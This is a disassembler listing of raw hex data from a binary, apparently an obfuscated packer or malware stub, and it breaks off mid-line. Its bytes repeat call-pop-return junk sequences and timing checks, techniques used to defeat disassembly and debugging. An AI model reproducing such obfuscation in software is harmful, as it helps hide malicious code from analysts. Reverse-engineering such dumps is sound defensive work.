6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 458090C3h dd 0E96A482Ch, 14h, 7B64A983h, 717DD939h, 3DD97920h, 38B3FB58h dd 60328312h, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0E25FC4C3h, 0AE38BF80h, 8A903515h dd 525050F8h, 0EE8h, 0E2207400h, 2F6DD56Bh, 40BC1E47h dd 5F944956h, 0D4BB310Fh, 5A473866h, 8B519058h, 95FF5BF8h dd 64E1A05h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 59C35242h, 81694915h, 93F53BCBh, 40EF816Eh, 0E96D7060h dd 0D77h, 0E8h, 0ED815D00h, 652BCBFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 84C35545h, 9D8B5A49h, 64E05CDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 41C35545h dd 9F03D4EDh, 0A958AB00h, 22A18529h, 13E9064Eh, 0B7000000h dd 5858C49Ah, 0C3D3088Ch, 58F6DFDAh, 11D3560Ah, 858D5901h dd 65192A9h, 25CDBD8Bh, 6690064Eh, 50979DBBh, 0D68B6060h dd 0F61C28Bh, 38Ah, 0D18B6600h, 0BD8B9061h, 64E0CB1h, 8E9h dd 4738AE00h, 9767F3B1h, 35FF6409h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4BC35747h dd 94DCD578h, 89527F19h, 4E03198Dh, 25896406h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 70C35545h dd 599D8B08h, 0FF064E16h, 4E08D585h, 0A4BF6606h, 66FF6A60h dd 0FF8EB0BBh, 4E1A29B5h, 4CD78106h, 0FF5A83B8h, 4E1B0D95h dd 121E906h, 8B600000h, 4E0F219Dh, 4810F06h, 66000000h dd 6198F8BFh, 8F0F00B0h, 0 dd 0DF8070E6h, 8971E4A5h, 4E212595h, 0F613C06h, 0F283h dd 74B4BF00h, 0B60F422Eh, 958589C8h, 0BA064E22h, 6, 9D8BC18Bh dd 64E0609h, 99C78166h, 4E8C174h, 8E9h, 3A14A900h, 0DEA0FE58h dd 0E2F7660Ch, 10A99D8Bh, 9589064Eh, 64E1609h, 9D8BC82Bh dd 64E2735h, 8166D18Bh, 0E9C390EBh, 9Fh, 9819589h, 820F064Eh dd 6, 0DC9BD89h, 858B064Eh, 8, 7E8h, 0D338DA00h, 9D5369F3h dd 5BD9B70Fh, 3307C083h, 4E2159BDh, 0C08306h, 17F78166h dd 0FD03B5Dh, 0F83h, 0F2BF6600h, 55E980h, 0BD8B0000h, 64E0679h dd 0FFFF8D8Bh, 0B70FFFFFh, 1E183D9h, 3D840Fh, 0BD230000h dd 64E2BA9h, 0FFFFA583h, 8BFEFFFFh, 4E10C5BDh, 0FE806h dd 25FB0000h, 7871A5F9h, 4BC5078Bh, 0D774168Ah, 5BFE8B55h dd 89589h, 89560000h, 4E0E519Dh, 0E95F06h, 8D000000h, 523E5BB5h dd 0A19D8B06h, 89064E1Bh, 4E3331B5h, 8B006A06h, 5995FFFAh dd 1064E1Ah, 4E172195h, 0FE7B906h, 0D3810000h, 100504Dh dd 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 92C8C352h, 64EF0EA2h, 0F88B0131h dd 70BABF66h, 0CCD781FCh, 2B2D3AF5h, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 9914A692h dd 5873A2A9h, 0ADBD8BE1h, 0BA064E15h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 86C35242h dd 999D8911h, 0AD064E18h, 0E8D1C233h, 0E983D003h, 0BFF47504h dd 7BB4091Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0C7C35242h, 0E4403A6Ch, 2DB58952h, 0D064E22h, 88h dd 6870F60h, 81000000h, 56571DC2h, 958B614Bh, 64E2B05h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0D5C35141h dd 0CD9E0871h, 89A3408Fh, 4E0DF995h, 658D8B06h, 0F064E2Bh dd 8B50DBB7h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 26F18531h, 0F60064Eh, 589h, 90CBB800h, 8166299Bh, 61F6D2F1h dd 30FDBD83h, 0F00064Eh, 7784h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 5CB2B913h dd 0B80E75B9h, 899D8B99h, 89064E28h, 4E259D85h, 0B806h dd 8D890000h, 64E1511h, 4E108D8Dh, 0F53064Eh, 685h, 71BD8B00h dd 5B064E0Ch, 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 901ED3C3h, 70F916D9h, 0FEB70F5Eh dd 65DBD83h, 0F00064Eh, 4A384h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 42C61495h dd 49BEEDFh, 2AEDBD8Bh, 0BD83064Eh, 64E065Dh, 88840F01h dd 60000004h, 5D5958Bh, 0BF66064Eh, 66614C5Ah, 0C8E3C381h dd 65DBD83h, 0F03064Eh, 43486h, 0FE900h, 0AB4C0000h, 1FF8F334h dd 0DF6CDA9Eh, 353CA2E8h, 6A60CAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 500EDDC3h, 6690B481h dd 8C66FB8Bh, 0F9B589D9h, 80064E14h, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 5F2C62C3h dd 87073DAh, 9D8B89D7h, 64E05EDh, 0BE9h, 6E8B7100h, 76E494D9h dd 26B26B71h, 0AF88B66h, 26840FC9h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 5CA1C352h, 3AE77976h, 0F3816629h, 858B7611h, 64E1B29h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 65C35646h dd 3F70009Eh, 0A595894Ah, 33064E20h, 4E288D85h, 5F0DBF06h dd 8B503422h, 240489FEh, 256DF81h, 6A0F24h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FFC35343h, 0FE83Dh dd 0A2820000h, 9209E79Eh, 0C80AE239h, 8529F53Bh, 21BD8954h dd 5B064E29h, 0BF80A168h, 11E94Bh, 9130000h, 1CC19056h dd 12B8010Eh, 29E37D03h, 8145DE4Bh, 835E2434h, 85BB4BA0h dd 0FF13EFABh, 4E0BD995h, 12E906h, 972F0000h, 6BC56701h dd 6F160786h, 0EBB7A50Fh, 1D0FD75Eh, 0B12F8589h, 6A0651h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0E36502C3h, 0BF89C4D1h, 0C12E7ADh, 1F3E9h, 68C0F00h dd 89000000h, 4E15F195h, 27858B06h, 10651B1h, 4E0A11B5h dd 1800C706h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0EB6BC355h, 0B96020C2h dd 8B2E0DB1h, 4E21099Dh, 8F0F6006h, 2, 9D016160h, 64E20F5h dd 2BB58B61h, 8B0651B1h, 4E02E9BDh, 0D858B06h, 6A064E30h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 9AD7C355h, 1913ECE4h, 0FE8h, 0AFA7800h, 0C12E0BF0h dd 8E9AA192h, 0CE921CC5h, 0E260BB66h, 8930B35Fh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 450B3DCAh, 0CE9h, 8CB7B000h, 1722D79h, 148F4134h, 959D8B30h dd 8B064E21h, 4E1B2985h, 0D7816606h, 4689BA85h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 53505037h, 8BB3B660h, 4E1F69BDh, 0BF506106h, 57304FDBh dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 9296C355h, 0BB304D90h, 0F789B02h dd 0B5FFF8BFh, 651B127h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0C7C35747h, 8DF4534Ah, 0D090DF64h, 68D88A42h dd 622B5D82h, 3481DF8Bh, 345E7D24h, 0B70F6062h, 61C28AD9h dd 31459D8Bh, 858D064Eh, 651B12Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 52C35747h, 0E72695BDh, 7A8A5701h dd 252D9D33h, 0BD89064Eh, 64E18E5h, 50F9B790h, 13E9h, 0EBD43500h dd 8F0A23E5h, 0D4EF3E47h, 16346005h, 0EFEFE6Eh, 0A1850990h dd 9064E20h, 4E2CF1B5h, 0D995FF06h, 0F8064E0Bh, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0F82BBEAAh, 1644C267h, 85C7007Eh, 64E065Dh, 3, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 19C35040h, 3B7D8BDEh dd 295F9F68h, 4E1375BDh, 2FBD8306h, 651B1h, 37840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0D38CD1C3h, 963DB767h, 199D890Bh, 89064E03h, 4E1A21BDh dd 1EE906h, 8B660000h, 0C3050DEh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0CBC35747h, 798D2945h, 66064E03h, 6A81BBBBh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 11EAC357h, 83D7BF51h, 565F17E6h, 2890Fh dd 5B510000h, 5DBD835Bh, 3064E06h, 3E1850Fh, 9D8B0000h dd 64E10F5h, 0B12FBD83h, 0F000651h, 3CE84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 47105587h, 6E8h, 565E0800h, 0FA368CFh, 680h, 49958900h dd 5F064E21h, 0B12FB5FFh, 23570651h, 4E0E3D9Dh, 95FF5B06h dd 64E0375h, 0FE9h, 0FDDB6500h, 9B1B399Dh, 962158B3h, 0EFBBBB27h dd 0B123B58Bh, 8D890651h, 64E0415h, 4059589h, 6C7064Eh dd 10001h, 50DF8B66h, 3489D98Bh, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 11A55943h dd 0FE910C3h, 0B6000000h, 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh dd 0B5FF88DFh, 651B12Fh, 0FBC78166h, 195FF00h, 6A064E29h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 754AC351h, 89FBB70Fh, 4E210995h, 5BF95106h dd 0B123B58Bh, 6A0651h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 8478E4C3h, 8B8FD380h, 4E14D9BDh dd 35858B06h, 66064E0Fh, 8B66F98Bh, 0C48689FBh, 0E9000000h dd 0Bh, 191AB31Dh, 1AB4C3D5h, 8BA97B74h, 4E2B0595h, 83FA8B06h dd 6A04C2h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD03C6C3h, 64E2545h, 0AD18589h, 5089064Eh, 55006A20h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0E0BC3EC2h, 858D6314h, 651C53Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 84C35040h, 0DE9h, 13DFDD00h dd 264B5182h, 0B6FEF64Dh, 8689D682h, 0B8h, 3FD9D8Bh, 6A064Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 23C35141h dd 33B0E36h, 8BBE7DF4h, 4E12F5BDh, 2FB5FF06h, 6A0651B1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0F271C352h, 0FFB04F2Ch, 6D382470h, 1A0595FFh dd 890F064Eh, 6, 601B589h, 0BF50064Eh, 54E36517h, 8A243489h dd 2FB5FFFDh, 0E90651B1h, 0Ch, 0C0D31788h, 1A36C789h, 3465DDCEh dd 5A195FFh, 6A064Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 2E7378C3h, 10E899h, 11D40000h, 0B056699Ch dd 85B61DCh, 37A58FD8h, 0BD8B951Ah, 64E1269h, 9BD835Fh dd 64E15h, 36840Fh, 12E90000h, 3B000000h, 0B2DCCB88h, 9B441D41h dd 52B5526Ah, 55F054A6h, 830F96D3h, 0Ch, 0D88B5250h, 0BF66310Fh dd 585A99DDh, 962FB350h, 39B58951h, 5F064E20h, 0B12FB5FFh dd 6A0651h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 2CB269C3h, 8CA2180Fh, 0FFF9B70Fh, 4E25D995h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 93487BF5h, 795246Bh, 0B12FB5FFh, 6A0651h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 96CD2FC3h, 2411AC9Bh, 0BE953CBh, 8B000000h, 98D1CF35h dd 45E053F6h, 8B5B7C4Ch, 4E0D1D9Dh, 0D95FF06h, 8B064E25h dd 4E19DDBDh, 31BD8306h, 2064E15h, 30840Fh, 0BF0F0000h dd 25858BFAh, 89064E29h, 4E02A185h, 0C606h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 88C35545h, 85C789B4h dd 64E121Dh, 0 dd 0E9F8B70Fh, 0FFFFF3ADh, 0A362F4BBh, 0E9C18B3Fh, 0Bh dd 0A3CF97CDh, 5E379EAh, 8D529F45h, 4E106185h, 0AD850906h dd 29064E31h, 4E1F79BDh, 0FFB39006h, 7E950h, 0DAD60000h dd 9D360034h, 6A90E4h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0DD866C3h, 6696EB4Fh, 6AD98Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 0BDC2367Fh dd 6AFC05h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0FEC35646h, 0F7C78002h, 858D7F02h, 652CCA5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 22C35646h, 5C0833Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F5C35646h db 0ABh, 0FFh word_587256 dw 0B3C5h ; DATA XREF: ___:off_42AFECo dd 29DF80C2h, 58A0F90h, 0BB000000h, 7DE2CF73h, 13E950h dd 8BED0000h, 11ABD7DAh, 87E86AA9h, 0DC8D5C46h, 3AA4112Ch dd 6A90C8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0E0778CC3h, 75953179h, 6A064E0Bh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0F781763Dh, 2C08C126h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FF39B1C3h, 4E088595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0ADFB3214h, 0A0DC215Eh, 9D8B1BCCh, 64E24CDh dd 2B619D01h, 8D8D064Eh, 651AF49h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0CCC35545h, 8B42D5BEh, 4E28719Dh dd 2D852906h, 0FF064E33h, 71B589D1h, 83064E30h, 4E2649BDh dd 850F0106h, 8Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0EC35646h, 3800FA4h, 66000000h, 26AFA8Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CC35141h dd 307D3EE5h, 2A0FEE0Bh, 5FBF5067h, 89207159h, 81662404h dd 0FFFBB1DBh, 4E1A0595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0DE976h, 0DB3C0000h dd 0F7736F4Ah, 29D59F3Eh, 0E99FFF25h, 0DB7h, 0E8h, 0ED815D00h dd 652CCAFh, 6FCF8166h, 52006A7Ah, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0EB816645h, 858D1C4Ch dd 65192A9h, 0B94228BBh, 5B50501Bh, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 1F0CC351h, 9614E582h, 0FF858BBFh, 8D095356h, 64E1809h dd 35FF645Bh, 0 dd 2FDD9531h, 8964064Eh, 25h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 9EBB5C54h dd 0FF1EF51Eh, 4E08D585h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 363580A0h dd 6EC7F1B8h, 6AFF6A5Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0F828C350h, 9E18DB7Ah dd 0BD8B75DDh, 64E0CE9h, 0EE5B5FFh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 942BCAC3h dd 0A46258DEh, 9E1491Dh, 4E2CAD85h, 0D95FF06h, 0E9064E1Bh dd 100h, 68E0F60h, 29000000h, 4E2B7195h, 0BE806h, 0B0010000h dd 0DC9EC951h, 0F6012497h, 0FBB70FDAh, 0B0615Eh, 3FF38166h dd 0E470E62Ch, 3C4CB771h, 0C9830F61h, 0F000000h, 0BB66C8B6h dd 6BA1F2Dh, 66000000h, 8B4252BFh, 3DBB66C1h, 4E8C11Fh dd 6E9h, 5AA67000h, 66394AB5h, 0BD01E2F7h, 64E2B5Dh, 0BD8BC82Bh dd 64E142Dh, 0EE9h, 9DEB8C00h, 0C2C7E587h, 6FB8D4E4h, 8B726BB1h dd 45D381D1h, 0E9587174h, 74h, 3850Fh, 0B70F0000h, 1858BDEh dd 23000000h, 4E044DBDh, 2FCB8106h, 83737183h, 6DBB07C0h dd 830F252Fh, 0A5BB00C0h, 3B3DB25Fh, 0D830FD0h, 8B000000h dd 3AE9DEh, 0BD8B0000h, 64E001Dh, 0FFFF8D8Bh, 9D8BFFFFh dd 64E17C5h, 0F01E183h, 1F84h, 83DE8A00h, 0FFFFFFA5h, 0BD8BFEFFh dd 64E19E5h, 19589h, 0FBBB0000h, 0E93F15FFh, 0 dd 4E42B58Dh, 6A0652h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 890FE5C3h, 8, 2880Fh, 61600000h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0AC476DC3h, 0FFF811Dh, 95FFFBB7h, 64E1A59h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CCC35242h dd 77146424h, 600F84D8h, 45BD895Eh, 0B9064E04h, 1014h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 98C35141h dd 0F1D87ACFh, 45D9589h, 0E183064Eh, 1BDB80FCh, 0F88B66FCh dd 5E9h, 5D51DC00h, 0C02B1B4Dh, 89D18B60h, 4E272DBDh, 0BA6106h dd 0F000000h, 380h, 0F8B70F00h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0A3C35141h, 0A23BBF49h, 5F91671Dh, 0B9BD8BF5h dd 80064E0Eh, 880D37CFh, 0F000000h, 28Ch, 8BFB8B00h, 4E2B0595h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 9868573h, 13E18203h, 8D8B67BCh, 64E2B65h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0ECC35747h dd 7F36129Dh, 5E8h, 0B04BFB00h, 85095D3Bh, 64E26F1h, 0C28B505Bh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0C2D9C355h, 5EA07EB6h, 0E99589FEh, 8B064E12h, 4E12719Dh dd 0FEB70F06h, 30FDBD83h, 0F00064Eh, 8984h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 8F559498h, 0B70F6060h, 0BD8961F2h, 64E1025h, 0ED8D0161h dd 0B8064E19h, 0 dd 10E9h, 0F44D8C00h, 91B1D5D7h, 297AF661h, 0C5BEBCFCh dd 108D8D4Ch, 60064E4Eh, 54C68166h, 9195893Fh, 61064E08h dd 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 944CFDC3h, 0BF0FA389h, 3838BBD8h, 0BD834BDDh dd 64E065Dh, 65840F00h, 6A000004h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 6692C355h dd 0BF3BE381h, 65DBD83h, 0F01064Eh, 45284h, 5DBD8300h dd 3064E06h, 40F860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0D2376C3h, 25773778h dd 0C781A57Dh, 7BD5DDFBh, 60DEB70Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0C2C35545h, 0DF8B665Eh, 0E9D98C66h dd 6, 0C55D590Bh, 0E180F529h, 858B6004h, 64E2099h, 0C90A61F9h dd 14A840Fh, 8BF80000h, 4E1B2985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 6870F72h, 89000000h dd 4E1A2585h, 219D8906h, 33064E08h, 4E288D85h, 89C78106h dd 507B5152h, 0EF41BB66h, 0E9240489h, 6, 0D60E2BF4h, 6A9B0Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 86C35646h dd 969CE869h, 0C8284FB4h, 0DA8B66A9h, 18C68968h, 0F8BF5032h dd 5B6AAED6h, 76243481h, 6A3207C5h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0F40EC357h dd 0A5CAF31Eh, 5526E344h, 68E0Fh, 0BD330000h, 64E130Dh dd 0BD995FFh, 6A064Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 3F2D74C3h, 7E67D461h, 89FC29E7h dd 51B12F85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h db 4, 1Bh word_587A56 dw 0 ; DATA XREF: ___:off_42C440o dd 0C3514100h, 743141FEh, 427F89A8h, 2E987B7h, 6A000002h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 6850C355h, 850F675Ah, 8, 0E58D8953h, 5F064E0Dh dd 0B127858Bh, 66600651h, 5F7AC881h, 0B0D78166h, 0C76167h dd 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h dd 0E3C35646h, 0BD8BEA6Ah, 64E2B99h, 0B12BB58Bh, 0FA8A0651h dd 6CDB8166h, 0D858B77h, 6A064E30h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 2B29C356h dd 5AF1356Dh, 0ED19D33h, 8C0F064Eh, 6, 19C1BD03h, 689064Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E6C35747h dd 7096802Bh, 6FF1D0F5h, 1B29858Bh, 8166064Eh, 89D5A3D7h dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0BC90BBC3h, 0A108DA72h, 81668F30h, 504482C7h dd 3969BB66h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0E302C355h, 0B127B5FFh dd 0BB660651h, 116838C8h, 0E93BD6CCh, 7, 18272DCCh, 81358E4Ah dd 0CFEE2434h, 8E93BC9h, 0DC000000h, 1C16A20Ah, 0F9302755h dd 0B12F858Dh, 0BF0F0651h, 13E9F9h, 0C8010000h, 6B2DA878h dd 7FEFAFEEh, 0DE30EAA8h, 9D029D1Ch, 0E85090D8h, 14h, 4B518213h dd 0FEF64D26h, 0EAD682B6h, 3D1ED6DEh, 30722237h, 5E85250h dd 1F000000h, 96CACA76h, 56310F5Bh, 5B585A5Bh, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0B339C56Dh, 0CF52D4F6h, 0B70F36B4h, 0D995FFDBh, 6A064E0Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 818FC350h, 0F1108ECFh, 6A615Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 8B1270C3h dd 5D85C7D1h, 3064E06h, 83000000h, 51B12FBDh, 840F0006h dd 49h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h dd 0ACC35242h, 0E9BFD691h, 40h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0C3C35040h, 0ECC70F21h, 59C78166h dd 0C305013h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 21099D33h, 0BD8B064Eh, 64E26A1h, 65DBD83h dd 0F03064Eh, 44885h, 0E19D8B00h, 83064E08h, 51B12FBDh dd 840F0006h, 435h, 8E9h, 1869D600h, 22F7E7ECh, 2FB5FFB2h dd 6A0651B1h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 859DC350h, 2FC5BD8Bh, 12E9064Eh dd 15000000h, 263377D5h, 68A5A625h, 32B04C59h, 0BA66B99Fh dd 7595FF90h, 60064E03h, 2A518D0Bh, 0E957064Eh, 6, 34C0C879h dd 615E28B6h, 0B123B58Bh, 6A0651h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 1C6643C3h, 0E7B52985h dd 0DD8D3160h, 0E8064E28h, 0Bh, 0CC3AD1Eh, 4656F7FBh, 66E4C87Dh dd 0C1CDDF81h, 6C7615Fh, 10001h, 0F5BD8960h, 8B064E07h dd 4E217585h, 66506106h, 895200BBh, 14E92434h, 0AC000000h dd 0BFDA2375h, 68685E42h, 0C368EFC2h, 3602CC19h, 0FF692F6Fh dd 51B12FB5h, 68E0F06h, 31000000h, 4E2FE59Dh, 195FF06h dd 6A064E29h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 297DC357h, 4E0FD995h, 23B58B06h dd 0F0651B1h, 686h, 0FD852900h, 8B064E0Eh, 4E0F3585h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8BC430D0h, 4E15059Dh, 0D7815106h, 12107FF2h, 0C486895Bh dd 66000000h, 958BFA8Bh, 64E2B05h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 7BC35242h, 8302135Fh, 0EE855A2h dd 20000000h, 3A095FF1h, 9B86277Bh, 0D945477Ch, 5F5EB7B1h dd 0E804C283h, 0Ah, 9831BD16h, 0F7B75156h, 0B70F62F2h dd 50895FDFh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8D424733h, 51C53D85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0BC7BF963h, 6C09598Fh, 8C355DBFh, 0B8868952h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 2F16C352h, 0A597BF66h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 7E1F98C3h dd 5F52A76Fh, 1145BD33h, 0B5FF064Eh, 651B12Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A1C35343h, 5D4B0675h dd 595FF4Fh, 0E9064E1Ah, 0Ch, 4CAA0DF5h, 8949F55Bh, 59C912CEh dd 8B6696F9h, 810F50D8h, 0Ch, 2 dup(310F5250h), 585A585Ah dd 0C59D8B96h, 0FF064E07h, 51B12FB5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0A263AE3Ch, 0B9952951h, 5B064E0Eh, 5A195FFh, 8589064Eh dd 64E30E1h, 1509BD83h, 0F00064Eh, 6384h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 11859448h, 499D0123h, 96064E2Ch, 6A9650h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0FC8E73C3h dd 0EE8493Bh, 